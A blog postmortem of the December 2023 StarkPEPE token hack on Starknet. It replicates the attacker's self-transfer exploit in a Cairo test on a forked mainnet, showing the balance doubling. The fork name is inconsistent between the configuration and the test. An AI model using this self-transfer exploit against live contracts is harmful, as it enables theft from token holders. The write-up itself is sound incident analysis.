# StarkPEPE Hack Postmortem

By [dic0de](https://paragraph.com/@dic0de) · 2024-01-02

---

On December 29th 2023, StarkPEPE announced on x (Twitter) of a hack on their smart contract leading to significant losses.

[https://twitter.com/starkpepecoin/status/1740683260919758854](https://twitter.com/starkpepecoin/status/1740683260919758854)

This is the first hack on Starknet (as far as I know). As Starknet is becoming more popular and as more value is bridged into the L2, then it is expected attackers will also start having a look and unfortunately StarkPEPE were the first to receive the first blow.

Unfortunately, the StarkPEPE contract is not verified on Starknet hence you cannot read the code from the explorer but you can analyze attacker transactions to figure out what the attacker called.

Sample hack transaction below on Voyager shows there was a self-token transfer. We can replicate this transaction in a fork and evaluate the transaction results to know the effected state changes.

[https://voyager.online/tx/0x772da42980dbc8ca95b625ed225693ecad6647bbe6698d783769c842be5063b](https://voyager.online/tx/0x772da42980dbc8ca95b625ed225693ecad6647bbe6698d783769c842be5063b)

**Forking the Starknet Mainnet**

Starknet Foundry, a development framework for Cairo Contracts just like the way Foundry is for Solidity provides means for forking the Starknet Mainnet and safely interact with deployed contracts locally. You can find more from the Starknet Foundry Book

[https://foundry-rs.github.io/starknet-foundry/index.html](https://foundry-rs.github.io/starknet-foundry/index.html)

We first need to configure `scarb.toml` with an RPC URL and a block number all well documented in the Starknet Foundry book. Our `scarb.toml` looks like this

    [[tool.snforge.fork]] 
    name = "stark_fork" 
    url = "https://free-rpc.nethermind.io/mainnet-juno/" 
    block_id.number = "485251"
    

We are forking `block number` `485251` because the hack transaction above was in block `485252` and we want to replicate that hack.

Thereafter, we need to tell our test case to use the created fork `stark_fork` as

    #[test]
    #[fork("start_fork")]
    fn test_using_first_fork() {
        // ...
    }
    

**Setting Up the Hack**

We need to define the interface of the functions we would like to call and for this postmortem we would need to check the attacker balance as well as perform self- transfer. Therefore, our interface is defined as:

    #[starknet::interface]
    trait IERC20<TState> {
        fn balance_of(self: @TState, account: ContractAddress) -> u256;
        fn transfer(ref self: TState, recipient: ContractAddress, amount: u256) -> bool;
       
    }
    

**Replicating the Hack**

The attacker made a self-transfer and that is what we are going to do. Our `test_using_forked_state` test function is defined as

    fn test_using_forked_state() {
        let attacker: ContractAddress = 0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap();
        let contract_address: ContractAddress = 0x06f15ec4b6ff0b7f7a216c4b2ccdefc96cbf114d6242292ca82971592f62273b.try_into().unwrap();
        let erc20_dispatcher = IERC20Dispatcher {contract_address};
        let balance = erc20_dispatcher.balance_of(attacker);
        balance.print();
        start_prank(CheatTarget::One(contract_address), attacker);
        erc20_dispatcher.transfer(0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap(), balance);
        let new_balance = erc20_dispatcher.balance_of(0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap());
        new_balance.print();
    }
    

**In summary**,

1.  Setting up the attacker address which was `0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283`
    
2.  we are defining the StarkPEPE contract deployed at address `0x06f15ec4b6ff0b7f7a216c4b2ccdefc96cbf114d6242292ca82971592f62273b`
    
3.  Then checking the `balance` of the attacker before performing the hack (self token transfer)
    
4.  Finally, we are checking the balance after performing the self transfer hack.
    
5.  We are using the `print` trait to print the balances in our terminal.
    

Our Terminal results are as follow:

![](https://storage.googleapis.com/papyrus_images/ddd376036b1c4562974d32d07edb7ac1818afeca60f9e65139d1728720fdb768.png)

As seen, by performing a self token transfer, the attacker was able to double their token balance.

It is clear, that the StarkPEPE contract had an accounting problem whenever a user performed a self token transfer action. An audit could have probably caught the issue.

Writing secure code is hard and writing secure code on new tech is even harder. That is why a collaborative effort in securing code is imperative especially as more value is bridged into Starknet. If you are a project, it is important for people like me to review your code.

You can find the full postmortem code here:

[https://github.com/dic0de/starkpepe\_postmortem/tree/main](https://github.com/dic0de/starkpepe_postmortem/tree/main)

---

*Originally published on [dic0de](https://paragraph.com/@dic0de/starkpepe-hack-postmortem)*
